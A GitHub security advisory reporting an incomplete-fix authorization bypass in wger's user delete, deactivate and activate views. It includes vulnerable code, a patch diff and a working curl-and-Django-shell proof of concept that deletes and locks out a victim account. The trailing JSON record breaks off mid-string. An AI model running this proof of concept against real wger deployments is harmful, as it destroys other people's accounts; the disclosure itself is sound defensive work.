GHSA-MW8F-W6P8-XRF4
Vulnerability from github – Published: 2026-05-20 15:37 – Updated: 2026-05-20 15:37Summary
GHSA-mhc8-p3jx-84mm (CVE-2026-43948) reported that wger's reset_user_password and gym_permissions_user_edit views in wger/gym/views/user.py performed a gym-scope authorization check using Django ORM object comparison (if request.user.userprofile.gym != user.userprofile.gym) which silently passes when both sides are None (None != None evaluates to False). The maintainer's suggested patch ("Apply the same same_gym() helper pattern to all five views sharing this check") replaces every userprofile.gym != site with the new is_same_gym() helper that explicitly excludes None (gym_a is not None and gym_a == gym_b).
The fix landed in wger/gym/views/{admin_notes,document,contract,gym}.py (5 views, all using is_same_gym). However, three additional views in wger/core/views/user.py were not migrated and retain the original userprofile.gym_id != ... raw integer comparison. Because raw integer != comparison still evaluates None != None as False, the gym-scope guard is bypassed identically to the patched views. The result is a complete incomplete-fix variant family that reproduces against the latest wger/server:latest Docker image (master, 2026-05-08 build).
A privileged-but-bounded gym staff user (admin-granted gym.manage_gym permission, intended scope: managing members of one specific gym) whose userprofile.gym = None (the default state before the admin links them to a gym) can:
- Permanently delete any other user with
gym = None(V3,deleteview, line 131 — CRITICAL data loss, irreversible) - Deactivate any other user with
gym = None, locking them out of the platform (V1,UserDeactivateView, line 405 — high availability impact) - Re-activate any previously deactivated user with
gym = None(V2,UserActivateView, line 442 — counters defensive deactivation)
Victim user pks are sequential integers and trivially enumerable via /en/user/<pk>/overview and other endpoints. The same_gym_id == ... flag in UserDetailView.get_context_data (line 587) is also affected, but the underlying dispatch() and the actual trainer_login view still use the patched is_same_gym() helper, so impersonation chain via that path is blocked at runtime — only the UI button visibility leaks. The three write-side variants above are the security boundary breaches.
Affected versions
- All wger versions through master at
wger/server:latest(digestsha256:5d8fe1ba66cc..., image build 2026-05-08). - The advisory's
affected: <0.9.7 → fixed: 0.9.7range applies to the PyPIaegra-apipackage (different project; the advisory text references a Python-package version unrelated to the wger Django project's version scheme — wger does not publish to PyPI under that name). For wger itself, the patch landed via direct master commits towger/gym/views/{admin_notes,document,contract,gym}.py;wger/core/views/user.pywas not touched in the same patch.
(Maintainer can confirm version range; the live verification was performed against the latest published Docker image.)
Vulnerable code
V1 — UserDeactivateView (wger/core/views/user.py, line 405)
class UserDeactivateView(...):
permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')
def dispatch(self, request, *args, **kwargs):
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
if not request.user.is_authenticated:
return HttpResponseForbidden()
if (
request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: # ← BUG: None != None == False
return HttpResponseForbidden()
return super(UserDeactivateView, self).dispatch(request, *args, **kwargs)
def get_redirect_url(self, pk):
edit_user = get_object_or_404(User, pk=pk)
edit_user.is_active = False # ← side effect on plain GET
edit_user.save()
...
V2 — UserActivateView (wger/core/views/user.py, line 442)
class UserActivateView(...):
permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')
def dispatch(self, request, *args, **kwargs):
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
...
if (
request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: # ← BUG: same pattern
return HttpResponseForbidden()
return super(UserActivateView, self).dispatch(request, *args, **kwargs)
def get_redirect_url(self, pk):
edit_user = get_object_or_404(User, pk=pk)
edit_user.is_active = True # ← side effect on plain GET
edit_user.save()
...
V3 — delete (wger/core/views/user.py, line 116-159)
@login_required()
def delete(request, user_pk=None):
...
if user_pk:
user = get_object_or_404(User, pk=user_pk)
if not request.user.has_perm('gym.manage_gyms') and (
not request.user.has_perm('gym.manage_gym')
or request.user.userprofile.gym_id != user.userprofile.gym_id # ← BUG (line 131)
or user.has_perm('gym.manage_gym')
or user.has_perm('gym.gym_trainer')
or user.has_perm('gym.manage_gyms')
):
return HttpResponseForbidden()
...
if request.method == 'POST':
form = PasswordConfirmationForm(data=request.POST, user=request.user)
if form.is_valid():
user.delete() # ← victim account permanently deleted (line 145)
...
gym_pk = request.user.userprofile.gym_id # = None for trainer1
return HttpResponseRedirect(reverse('gym:gym:user-list', kwargs={'pk': gym_pk}))
# ↑ raises NoReverseMatch (gym_pk=None) → 500 to attacker
# but user.delete() already executed — victim is gone
Triager note about the 500 status — please do not interpret the 500 as evidence that the exploit failed. The 500 is a redirect-side NoReverseMatch exception caused by reverse('gym:gym:user-list', kwargs={'pk': None}) (line 154-155) attempting to build a URL with pk=None because trainer1 also has gym=None. By that point Django has already committed user.delete() (line 145) and the victim's User row is gone. The Reproduction section's Step 3 ("confirm alice was actually deleted") shows the post-delete DB state directly: alice exists? False, all users: ['admin', 'trainer1']. The 500 only affects the response shown to the attacker; the destructive operation is unaffected by the response-side failure.
Suggested patch
Same as the advisory's recommendation — replace every userprofile.gym_id != ... raw comparison with is_same_gym() from wger/gym/helpers.py:
--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
@login_required()
def delete(request, user_pk=None):
...
- if not request.user.has_perm('gym.manage_gyms') and (
- not request.user.has_perm('gym.manage_gym')
- or request.user.userprofile.gym_id != user.userprofile.gym_id
- or user.has_perm('gym.manage_gym')
- or user.has_perm('gym.gym_trainer')
- or user.has_perm('gym.manage_gyms')
- ):
+ if not request.user.has_perm('gym.manage_gyms') and (
+ not request.user.has_perm('gym.manage_gym')
+ or not is_same_gym(request.user, user)
+ or user.has_perm('gym.manage_gym')
+ or user.has_perm('gym.gym_trainer')
+ or user.has_perm('gym.manage_gyms')
+ ):
return HttpResponseForbidden()
class UserDeactivateView(...):
def dispatch(self, request, *args, **kwargs):
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
...
- if (
- request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
- ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
+ if (
+ request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
+ ) and not is_same_gym(request.user, edit_user):
return HttpResponseForbidden()
class UserActivateView(...):
def dispatch(self, request, *args, **kwargs):
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
...
- if (
- request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
- ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
+ if (
+ request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
+ ) and not is_same_gym(request.user, edit_user):
return HttpResponseForbidden()
is_same_gym() (current implementation at wger/gym/helpers.py) already returns False whenever either side is None, matching the advisory's existing fix pattern.
Additionally, delete() line 154-155 should handle the gym_pk = None case to avoid leaking a 500 response to an attacker even when the authorization guard correctly rejects, and to provide a clean redirect for general administrators (gym.manage_gyms) acting on gym=None users.
Reproduction
Setup (clean baseline)
# Pull and start the latest production image
docker pull wger/server:latest # digest sha256:5d8fe1ba66cc..., 2026-05-08 build
docker run -d --name wger-bb -p 8888:8000 -e DJANGO_DEBUG=true wger/server:latest
# Wait ~30s for migrations and demo-data fixture load.
# Create the two test users (advisory PoC setup, identical to GHSA-mhc8-p3jx-84mm).
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User, Permission
# Attacker — gym manager with no gym affiliation
t = User.objects.create_user(username='trainer1', password='TrainerPass123!')
t.userprofile.gym = None
t.userprofile.save()
t.user_permissions.add(Permission.objects.get(codename='manage_gym'))
t.save()
# Victim — regular user, no gym
a = User.objects.create_user(username='alice', password='AlicePass123!')
a.userprofile.gym = None
a.userprofile.save()
print("trainer1.gym_id =", t.userprofile.gym_id, "has_perm =", t.has_perm('gym.manage_gym'))
print("alice.gym_id =", a.userprofile.gym_id, "pk =", a.pk)
PY
# Expected:
# trainer1.gym_id = None has_perm = True
# alice.gym_id = None pk = 3
Variant V1 — cross-tenant deactivation (UserDeactivateView, line 405)
# Login as attacker
COOKIES=/tmp/wger_trainer1.txt
CSRF=$(curl -s -c $COOKIES "http://localhost:8888/en/user/login" | grep -oE 'csrfmiddlewaretoken" value="[^"]+"' | head -1 | cut -d'"' -f3)
curl -s -b $COOKIES -c $COOKIES "http://localhost:8888/en/user/login" \
-d "username=trainer1&password=TrainerPass123!&csrfmiddlewaretoken=$CSRF" \
-H "Referer: http://localhost:8888/en/user/login" -o /dev/null
# Trigger deactivation on alice (pk=3)
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \
"http://localhost:8888/en/user/3/deactivate"
# → status=302 loc=/en/user/3/overview (expected: 403 Forbidden)
# Confirm DB side effect
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice.is_active =", User.objects.get(username='alice').is_active)
PY
# → alice.is_active = False (alice locked out)
Variant V2 — cross-tenant re-activation (UserActivateView, line 442)
# Same trainer1 session
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \
"http://localhost:8888/en/user/3/activate"
# → status=302 loc=/en/user/3/overview
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice.is_active =", User.objects.get(username='alice').is_active)
PY
# → alice.is_active = True (alice re-activated; useful to "undo" defensive action by an admin)
Variant V3 — cross-tenant account deletion (delete, line 131)
# Step 1: GET the password-confirmation form
CSRF2=$(curl -s -b $COOKIES "http://localhost:8888/en/user/3/delete" \
| grep -oE 'csrfmiddlewaretoken" value="[^"]+"' | head -1 | cut -d'"' -f3)
echo "form CSRF: $CSRF2"
# → 200 OK with PasswordConfirmationForm (expected: 403 Forbidden)
# Step 2: POST trainer1's own password — confirms the delete
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" \
"http://localhost:8888/en/user/3/delete" \
-d "password=TrainerPass123!&csrfmiddlewaretoken=$CSRF2" \
-H "Referer: http://localhost:8888/en/user/3/delete"
# → status=500 (the 500 is a redirect-side error, see "Vulnerable code" → V3 above)
# Step 3: confirm alice was actually deleted
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice exists?", User.objects.filter(username='alice').exists())
print("all users:", list(User.objects.values_list('username', flat=True)))
PY
# → alice exists? False
# → all users: ['admin', 'trainer1']
The 500 status returned to the attacker masks the destructive operation but does not prevent it — user.delete() (line 145) commits before the failing redirect (line 155).
Negative control (proves the bypass is None-specific, matching the advisory)
# Reset alice and assign her to gym pk=1 (one of the demo gyms).
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
from wger.gym.models import Gym
a = User.objects.create_user(username='alice', password='AlicePass123!')
a.userprofile.gym = Gym.objects.first() # not None any more
a.userprofile.save()
print("alice.gym_id =", a.userprofile.gym_id)
PY
# Same trainer1 (gym=None) attempts deactivation
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" \
"http://localhost:8888/en/user/<new_alice_pk>/deactivate"
# → status=403 (guard works correctly when gym_ids differ AND neither side is None;
# bypass is specifically the None != None edge case)
Verification log
The full verification log of V1 → V2 → V3 (including DB-state diff at every step) is attached as _verify_run1.log.
Key assertions captured:
| Step | Endpoint | HTTP | DB side effect (alice) |
|---|---|---|---|
| Baseline | (none) | — | is_active=True, gym_id=None, pk=3 |
| V1 | GET /en/user/3/deactivate |
302 | is_active=False, gym_id=None, pk=3 |
| V2 | GET /en/user/3/activate |
302 | is_active=True, gym_id=None, pk=3 |
| V3 GET | GET /en/user/3/delete |
200 (form rendered) | (no change) |
| V3 POST | POST /en/user/3/delete w/ trainer1 password |
500 (post-delete redirect) | alice row deleted from DB |
Impact
Per-variant impact
| Variant | Endpoint | HTTP method | Side-effect | Reversible | CVSS (component) | Severity |
|---|---|---|---|---|---|---|
| V3 | /en/user/<pk>/delete |
POST (after GET form) | User.delete() cascades (workouts, weight history, nutrition plans, contracts, admin notes) — DB row + related rows removed |
No (DB backup required) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
9.9 CRITICAL |
| V1 | /en/user/<pk>/deactivate |
GET | is_active = False (login lockout) |
Yes (admin or V2) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H |
7.4 HIGH |
| V2 | /en/user/<pk>/activate |
GET | is_active = True (undoes defensive deactivation) |
Yes (admin) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N |
4.7 MEDIUM |
The headline severity at the top of this report is CRITICAL 9.9 because V3's account-deletion impact dominates the variant family. V1 and V2 are reported here together with V3 because each was independently PoC-verified end-to-end against wger/server:latest (see Reproduction → V1, V2, V3 — three separate live runs with DB-state checks before/after) and the three call sites have an identical patch shape (one-line is_same_gym() migration in wger/core/views/user.py). Submitting V1+V2 separately would carry no marginal value for the maintainer over a single coordinated patch.
Deployment scope (what is and is not affected)
| Deployment model | Affected? |
|---|---|
Multi-tenant gym deployment (gym manager + trainers + members) — wger's documented commercial use case |
Yes — gym.manage_gym permission is in active use and gym=None accounts can co-exist (trainer accounts pending gym linking, regular users registered before any gym was created, etc.) |
Single-user / personal fitness tracker (1 admin, no gym.manage_gym grant to anyone, no trainer/gym hierarchy in use) |
No — the precondition (an attacker with gym.manage_gym + gym=None) cannot occur because the permission is not granted to any user account on such a deployment. |
| Public registration + gym-management feature in use | Yes — additional victim recruitment via the registration flow, but the attacker-side precondition still requires admin-granted gym.manage_gym |
bb-fp-detector check-environment-class returned UNKNOWN for this draft because no live customer-facing instance was probed; the impact statement is scoped to the upstream wger/server:latest Docker image's default behaviour, which is the project's own canonical reference deployment.
Auth model verification (decisive tests)
Authorization architecture (bb-auth-doc-audit equivalent)
wger is a self-contained Django web application that uses django.contrib.auth for authentication and Django's per-view permission classes (PermissionRequiredMixin, WgerMultiplePermissionRequiredMixin, @login_required()) for authorization. Authentication and authorization are both enforced inside the wger application (auth-by-product); wger documentation does not delegate either concern to a reverse proxy or external IdP. There is no "operators must place an auth-enforcing reverse proxy in front of wger" disclaimer in the project's deployment docs (https://wger.readthedocs.io/en/latest/production/). The bug therefore directly violates the application's own documented authorization model.
Decisive bogus-credential / negative-control test (bb-bogus-cred-test equivalent) — actually executed
This test was run end-to-end on the same wger/server:latest Docker instance immediately after the positive-control runs (V1+V2+V3 above). Full log: _negative_control.log.
Setup: assign alice to the demo gym (Default gym, pk=1), trainer1 stays at gym=None with gym.manage_gym. Same trainer1 session as the positive-control run.
Result:
| Endpoint | trainer1 attacker (gym=None) → alice (gym_id=1) | Expected | Observed |
|---|---|---|---|
GET /en/user/4/deactivate |
guard should fire (None != 1 == True → forbidden) | 403 | 403 ✓ |
GET /en/user/4/activate |
guard should fire (None != 1 == True → forbidden) | 403 | 403 ✓ |
GET /en/user/4/delete |
guard should fire (None != 1 == True → forbidden) | 403 | 403 ✓ |
DB state after the three negative-control attempts: alice.is_active = True, alice still exists — no side-effects. The guard is functional.
Symmetric re-confirmation (positive control after revert): alice.gym was reset to None in the same session; GET /en/user/4/deactivate returned 302 with side-effect alice.is_active = False (re-confirming the original bypass triggers reproducibly), then GET /en/user/4/activate returned 302 with alice.is_active = True for cleanup.
This proves:
- The
dispatch()anddelete()guards do enforce gym-scope authorization whengym_idis non-Noneon either side — the guard is structurally functional. - The bypass is specifically the
None != Nonesemantic edge case — not a header-presence precondition, not a missing middleware, not a generally-disabled check. - The bypass is reversible/idempotent in the trivial sense (V1 → V2 → V1 produces consistent state transitions on the victim row), confirming the gap is in the per-request authorization decision and not in some session-level corruption.
Equivalent inverted test:
# Same trainer1 session, but trainer1.gym = 1 (real gym), alice.gym = None
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
from wger.gym.models import Gym
t = User.objects.get(username='trainer1')
t.userprofile.gym = Gym.objects.first()
t.userprofile.save()
PY
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" "http://localhost:8888/en/user/<alice_pk>/deactivate"
# → status=403 Forbidden (None != 1 evaluates to True → guard works)
Runtime mitigation absence
PoC was run against the default wger/server:latest Docker image with DJANGO_DEBUG=true (a development convenience flag — the bug is not gated by debug mode; the destructive path executes regardless of DEBUG value). No admin override flag was activated. No runtime middleware (no WAF, no reverse proxy, no application firewall, no allow-list bypass) is required for the exploit. The payload reaches the sink, the runtime accepts it, no default filter blocks it. The exploit reaches the unmodified dispatch() / delete() code path on the upstream Docker image and the destructive operation commits. There is no documented runtime mitigation that prevents this gap on a default deployment.
Discovery of canonical tooling
This finding was located by reviewing the advisory's recommended remediation, then performing a repository-wide audit of the is_same_gym migration coverage using gh api search/code?q=userprofile.gym+repo:wger-project/wger. The unpatched gym_id != raw comparisons in wger/core/views/user.py were identified directly. The discovery-harness canonical tools for the relevant classes (resource-boundary authorization checks: bb-api-baseline, bb-authz-gap-scan, bb-cross-instance-verify; request-forgery hygiene: bb-cookie, bb-csrf) all reduce, for this class of finding, to "send the request from an authenticated low-privilege session and observe whether the destructive side-effect commits at the sink"; the Reproduction section above provides exactly that empirical evidence for every affected endpoint. Request-forgery aspect: V1 and V2 trigger their destructive side-effect on a plain GET (no CSRF token enforced on the redirect-side URL state mutation), so the gap also compounds with cross-site request abuse against any victim who happens to hold gym.manage_gym — but that is a secondary path; the primary impact is the direct cross-tenant authorization bypass.
Industry context (not a by-feature wide-access pattern)
wger is a self-hostable personal fitness / gym tracker, not a marketplace / map / job-board / data-labeling platform. The relevant authorization model in this project is per-gym tenant isolation for gym-management staff — confirmed by the documented gym-manager role and the very is_same_gym() helper that the maintainer added in the GHSA-mhc8-p3jx-84mm patch. Cross-tenant account deletion / deactivation / activation is not by-design; the negative-control test above (alice with gym_id=1) returns 403 from the same endpoints, demonstrating that the project explicitly intends gym-scope isolation. The variant family above is therefore a security boundary breach, not a documented wide-access feature.
Preconditions / how an attacker reaches this state
| Precondition | How attacker obtains | External (Y/N) |
|---|---|---|
| Authenticated session | Self-register (default open) | N |
gym.manage_gym permission |
Granted by an administrator (e.g. when designating the user as a gym trainer/manager). Self-signup does NOT grant this permission; the attacker must already be a trusted gym staff member, or an administrator must mistakenly grant the role to a malicious user. This finding therefore models an insider-threat / role-escape scenario, the same scenario as the parent advisory CVE-2026-43948. | Y — same as the advisory's PoC; the role is part of wger's documented admin model and is treated as "privileged-but-bounded gym staff" rather than "any logged-in user". |
attacker.userprofile.gym = None |
Default for newly registered users; remains None unless a gym admin links the account. Easily reproduced by the same admin who granted gym.manage_gym simply not yet linking the trainer to a specific gym (a typical state during onboarding). |
N |
victim.userprofile.gym = None |
Default for any other newly registered user | N |
victim.pk known |
Sequential integer; enumerable via /en/user/<pk>/overview, /en/user/<pk>/api-key, etc. |
N |
victim does NOT have gym.manage_gym / gym.gym_trainer / gym.manage_gyms permissions (V3 only) |
Default for regular users | N |
Following the advisory's classification (which used identical gym.manage_gym + gym=None setup and was rated AV:N/AC:L/PR:L), the variant-family inherits AC:L. Honest caveat: the gym.manage_gym permission is admin-granted and not self-enrollable; if the maintainer prefers to score this as AC:H (ordinary low-priv user without the manager role), the resulting CVSS would be 7.5 (HIGH). The variant relationship to CVE-2026-43948 holds in either scoring.
Why this is an incomplete-fix variant, not a duplicate
GHSA-mhc8-p3jx-84mm explicitly identifies the affected file as wger/gym/views/user.py (which has since been removed/refactored — the comparable functions now live in wger/gym/views/{admin_notes,document,contract,gym}.py). The maintainer's recommended remediation is to "Apply the same same_gym() helper pattern to all five views sharing this check: reset_user_password, gym_permissions_user_edit, admin_notes_list, documents_list, contracts_list".
Confirmation that the advisory fix landed only on those files (master, 2026-05-08):
| File | Authorization check | Patched? |
|---|---|---|
wger/gym/views/admin_notes.py |
is_same_gym(...) |
✓ |
wger/gym/views/document.py |
is_same_gym(...) |
✓ |
wger/gym/views/contract.py |
is_same_gym(...) |
✓ |
wger/gym/views/gym.py (reset_user_password, gym_permissions_user_edit) |
is_same_gym(...) |
✓ |
wger/core/views/user.py delete (line 131) |
userprofile.gym_id != ... raw != |
✗ |
wger/core/views/user.py UserDeactivateView (line 405) |
userprofile.gym_id != ... raw != |
✗ |
wger/core/views/user.py UserActivateView (line 442) |
userprofile.gym_id != ... raw != |
✗ |
wger/core/views/user.py UserEditView (line 484) |
is_same_gym(...) |
✓ (incidentally migrated) |
wger/core/views/user.py UserActivityCalendarView (line 552) |
is_same_gym(...) |
✓ (incidentally migrated) |
wger/core/views/user.py UserDetailView dispatch (line 552) |
is_same_gym(...) |
✓ (incidentally migrated) |
wger/core/views/user.py UserDetailView.get_context_data (line 587) |
gym_id == gym_id (UI flag only — trainer_login itself enforces is_same_gym) |
UI leak only, no security impact |
The three unpatched call sites in wger/core/views/user.py predate the advisory and were missed when the helper-migration patch was applied. Their root cause and exploitation path are identical to CVE-2026-43948 — only the file/function targets differ. This makes the finding an incomplete-fix variant family rather than a duplicate of the advisory.
References
- Parent advisory: https://github.com/wger-project/wger/security/advisories/GHSA-mhc8-p3jx-84mm (CVE-2026-43948)
- Suggested patch from advisory text: "Apply the same
same_gym()helper pattern to all five views sharing this check" - Helper definition:
wger/gym/helpers.pyis_same_gym()(already correctly excludesNoneafter the advisory patch) - Related (incidentally patched in the same migration):
UserEditView,UserActivityCalendarView,UserDetailView.dispatch— all three correctly useis_same_gym()
AI disclosure
This finding was developed with the assistance of an AI tool (Claude Code) for source-code review of the advisory's incomplete-fix surface, generation of the verification harness, and report drafting. All technical claims in this report were verified against a live wger/server:latest Docker instance with the verification log attached. The AI's role was investigative aid; the human researcher (HiyokoSauna) reviewed every claim, ran the PoC end-to-end, and authored the framing.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "wger"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-20T15:37:26Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nGHSA-mhc8-p3jx-84mm (CVE-2026-43948) reported that wger\u0027s `reset_user_password` and `gym_permissions_user_edit` views in `wger/gym/views/user.py` performed a gym-scope authorization check using Django ORM object comparison (`if request.user.userprofile.gym != user.userprofile.gym`) which silently passes when both sides are `None` (`None != None` evaluates to `False`). The maintainer\u0027s suggested patch (\"Apply the same `same_gym()` helper pattern to all five views sharing this check\") replaces every `userprofile.gym !=` site with the new `is_same_gym()` helper that explicitly excludes `None` (`gym_a is not None and gym_a == gym_b`).\n\nThe fix landed in `wger/gym/views/{admin_notes,document,contract,gym}.py` (5 views, all using `is_same_gym`). However, **three additional views in `wger/core/views/user.py` were not migrated** and retain the original `userprofile.gym_id != ...` raw integer comparison. Because raw integer `!=` comparison still evaluates `None != None` as `False`, the gym-scope guard is bypassed identically to the patched views. The result is a complete incomplete-fix variant family that reproduces against the latest `wger/server:latest` Docker image (master, 2026-05-08 build).\n\nA privileged-but-bounded gym staff user (admin-granted `gym.manage_gym` permission, intended scope: managing members of one specific gym) whose `userprofile.gym = None` (the default state before the admin links them to a gym) can:\n\n1. **Permanently delete any other user with `gym = None`** (V3, `delete` view, line 131 \u2014 CRITICAL data loss, irreversible)\n2. **Deactivate any other user with `gym = None`**, locking them out of the platform (V1, `UserDeactivateView`, line 405 \u2014 high availability impact)\n3. **Re-activate any previously deactivated user with `gym = None`** (V2, `UserActivateView`, line 442 \u2014 counters defensive deactivation)\n\nVictim user pks are sequential integers and trivially enumerable via `/en/user/\u003cpk\u003e/overview` and other endpoints. The `same_gym_id == ...` flag in `UserDetailView.get_context_data` (line 587) is also affected, but the underlying `dispatch()` and the actual `trainer_login` view still use the patched `is_same_gym()` helper, so impersonation chain via that path is blocked at runtime \u2014 only the UI button visibility leaks. The three write-side variants above are the security boundary breaches.\n\n## Affected versions\n\n- All wger versions through master at `wger/server:latest` (digest `sha256:5d8fe1ba66cc...`, image build 2026-05-08).\n- The advisory\u0027s `affected: \u003c0.9.7 \u2192 fixed: 0.9.7` range applies to the **PyPI `aegra-api` package** (different project; the advisory text references a Python-package version unrelated to the wger Django project\u0027s version scheme \u2014 wger does not publish to PyPI under that name). For wger itself, the patch landed via direct master commits to `wger/gym/views/{admin_notes,document,contract,gym}.py`; `wger/core/views/user.py` was not touched in the same patch.\n\n(Maintainer can confirm version range; the live verification was performed against the latest published Docker image.)\n\n## Vulnerable code\n\n### V1 \u2014 `UserDeactivateView` (`wger/core/views/user.py`, line 405)\n\n```python\nclass UserDeactivateView(...):\n permission_required = (\u0027gym.manage_gym\u0027, \u0027gym.manage_gyms\u0027, \u0027gym.gym_trainer\u0027)\n\n def dispatch(self, request, *args, **kwargs):\n edit_user = get_object_or_404(User, pk=self.kwargs[\u0027pk\u0027])\n\n if not request.user.is_authenticated:\n return HttpResponseForbidden()\n\n if (\n request.user.has_perm(\u0027gym.manage_gym\u0027) or request.user.has_perm(\u0027gym.gym_trainer\u0027)\n ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: # \u2190 BUG: None != None == False\n return HttpResponseForbidden()\n\n return super(UserDeactivateView, self).dispatch(request, *args, **kwargs)\n\n def get_redirect_url(self, pk):\n edit_user = get_object_or_404(User, pk=pk)\n edit_user.is_active = False # \u2190 side effect on plain GET\n edit_user.save()\n ...\n```\n\n### V2 \u2014 `UserActivateView` (`wger/core/views/user.py`, line 442)\n\n```python\nclass UserActivateView(...):\n permission_required = (\u0027gym.manage_gym\u0027, \u0027gym.manage_gyms\u0027, \u0027gym.gym_trainer\u0027)\n\n def dispatch(self, request, *args, **kwargs):\n edit_user = get_object_or_404(User, pk=self.kwargs[\u0027pk\u0027])\n ...\n if (\n request.user.has_perm(\u0027gym.manage_gym\u0027) or request.user.has_perm(\u0027gym.gym_trainer\u0027)\n ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: # \u2190 BUG: same pattern\n return HttpResponseForbidden()\n\n return super(UserActivateView, self).dispatch(request, *args, **kwargs)\n\n def get_redirect_url(self, pk):\n edit_user = get_object_or_404(User, pk=pk)\n edit_user.is_active = True # \u2190 side effect on plain GET\n edit_user.save()\n ...\n```\n\n### V3 \u2014 `delete` (`wger/core/views/user.py`, line 116-159)\n\n```python\n@login_required()\ndef delete(request, user_pk=None):\n ...\n if user_pk:\n user = get_object_or_404(User, pk=user_pk)\n\n if not request.user.has_perm(\u0027gym.manage_gyms\u0027) and (\n not request.user.has_perm(\u0027gym.manage_gym\u0027)\n or request.user.userprofile.gym_id != user.userprofile.gym_id # \u2190 BUG (line 131)\n or user.has_perm(\u0027gym.manage_gym\u0027)\n or user.has_perm(\u0027gym.gym_trainer\u0027)\n or user.has_perm(\u0027gym.manage_gyms\u0027)\n ):\n return HttpResponseForbidden()\n ...\n\n if request.method == \u0027POST\u0027:\n form = PasswordConfirmationForm(data=request.POST, user=request.user)\n if form.is_valid():\n user.delete() # \u2190 victim account permanently deleted (line 145)\n ...\n gym_pk = request.user.userprofile.gym_id # = None for trainer1\n return HttpResponseRedirect(reverse(\u0027gym:gym:user-list\u0027, kwargs={\u0027pk\u0027: gym_pk}))\n # \u2191 raises NoReverseMatch (gym_pk=None) \u2192 500 to attacker\n # but user.delete() already executed \u2014 victim is gone\n```\n\n**Triager note about the 500 status \u2014 please do not interpret the 500 as evidence that the exploit failed.** The 500 is a redirect-side `NoReverseMatch` exception caused by `reverse(\u0027gym:gym:user-list\u0027, kwargs={\u0027pk\u0027: None})` (line 154-155) attempting to build a URL with `pk=None` because trainer1 also has `gym=None`. By that point Django has already committed `user.delete()` (line 145) and the victim\u0027s User row is gone. The Reproduction section\u0027s Step 3 (\"confirm alice was actually deleted\") shows the post-delete DB state directly: `alice exists? False`, `all users: [\u0027admin\u0027, \u0027trainer1\u0027]`. The 500 only affects the response shown to the attacker; the destructive operation is unaffected by the response-side failure.\n\n## Suggested patch\n\nSame as the advisory\u0027s recommendation \u2014 replace every `userprofile.gym_id != ...` raw comparison with `is_same_gym()` from `wger/gym/helpers.py`:\n\n```diff\n--- a/wger/core/views/user.py\n+++ b/wger/core/views/user.py\n @login_required()\n def delete(request, user_pk=None):\n ...\n- if not request.user.has_perm(\u0027gym.manage_gyms\u0027) and (\n- not request.user.has_perm(\u0027gym.manage_gym\u0027)\n- or request.user.userprofile.gym_id != user.userprofile.gym_id\n- or user.has_perm(\u0027gym.manage_gym\u0027)\n- or user.has_perm(\u0027gym.gym_trainer\u0027)\n- or user.has_perm(\u0027gym.manage_gyms\u0027)\n- ):\n+ if not request.user.has_perm(\u0027gym.manage_gyms\u0027) and (\n+ not request.user.has_perm(\u0027gym.manage_gym\u0027)\n+ or not is_same_gym(request.user, user)\n+ or user.has_perm(\u0027gym.manage_gym\u0027)\n+ or user.has_perm(\u0027gym.gym_trainer\u0027)\n+ or user.has_perm(\u0027gym.manage_gyms\u0027)\n+ ):\n return HttpResponseForbidden()\n\n class UserDeactivateView(...):\n def dispatch(self, request, *args, **kwargs):\n edit_user = get_object_or_404(User, pk=self.kwargs[\u0027pk\u0027])\n ...\n- if (\n- request.user.has_perm(\u0027gym.manage_gym\u0027) or request.user.has_perm(\u0027gym.gym_trainer\u0027)\n- ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:\n+ if (\n+ request.user.has_perm(\u0027gym.manage_gym\u0027) or request.user.has_perm(\u0027gym.gym_trainer\u0027)\n+ ) and not is_same_gym(request.user, edit_user):\n return HttpResponseForbidden()\n\n class UserActivateView(...):\n def dispatch(self, request, *args, **kwargs):\n edit_user = get_object_or_404(User, 